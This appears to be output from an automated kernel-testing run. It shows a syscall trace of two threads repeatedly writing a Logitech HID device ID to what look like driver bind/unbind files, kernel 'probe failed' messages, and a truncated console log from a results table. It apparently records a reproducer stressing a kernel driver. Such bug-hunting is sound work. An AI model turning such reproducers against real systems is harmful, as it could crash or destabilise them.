[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.244052][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 76.289280][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 76.333064][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.355315][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.367503][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 76.411661][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.443602][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.447686][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 76.481338][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.514038][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 76.520760][ T1378] ieee802154 phy0 wpan0: encryption failed: -22
[ 76.522835][ T1378] ieee802154 phy1 wpan1: encryption failed: -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.526731][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.550954][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 76.572042][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 76.603986][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.625111][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 76.656644][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.678163][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[ 76.690310][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[ 76.720770][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.742408][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.763914][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19) = -1 ENODEV (No such device)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.777087][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 76.799720][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.821543][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 76.842619][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[ 76.873990][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 76.905445][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.936861][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.948127][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.970512][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.994899][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5895] futex(0x7fe6c38bc990, FUTEX_WAIT_BITSET|FUTEX_CLOCK_REALTIME, 5897, NULL, FUTEX_BITSET_MATCH_ANY <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] rt_sigprocmask(SIG_BLOCK, ~[RT_1], NULL, 8) = 0
[pid 5897] madvise(0x7fe6c30bc000, 8372224, MADV_DONTNEED) = 0
[pid 5897] exit(0) = ?
[pid 5897] +++ exited with 0 +++
[ 77.009042][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5895] <... futex resumed>) = -1 EAGAIN (Resource temporarily unavailable)
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5895] futex(0x7fe6c30bb990, FUTEX_WAIT_BITSET|FUTEX_CLOCK_REALTIME, 5898, NULL, FUTEX_BITSET_MATCH_ANY <unfinished ...>
[pid 5898] rt_sigprocmask(SIG_BLOCK, ~[RT_1], NULL, 8) = 0
[pid 5898] madvise(0x7fe6c28bb000, 8372224, MADV_DONTNEED) = 0
[pid 5898] exit(0) = ?
[pid 5895] <... futex resumed>) = 0
[pid 5898] +++ exited with 0 +++
close(4) = 0
close(5) = 0
close(6) = 0
write(3, "\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"..., 4380) = 4380
close(3) = 0
write(1, "[+] Done", 8) = 8
write(1, "\n", 1) = 1
[+] Done
exit_group(0) = ?
+++ exited with 0 +++
[ 86.767287][ T9] cfg80211: failed to load regulatory.db
TestError:]
|
| 131/3 |
2026/05/19 10:15 |
action |
truncate-log |
0m
Results: map[TruncatedConsoleOutput:[ 74.798358][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.801220][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.804085][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.806945][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.810386][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.813343][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.816246][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.819601][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.822614][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.825512][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.828595][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.831667][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.834551][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.837461][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.840660][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.843568][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.846399][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.849602][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.852515][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.855374][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.858968][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.861877][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.864705][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.867554][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.870614][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.873462][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
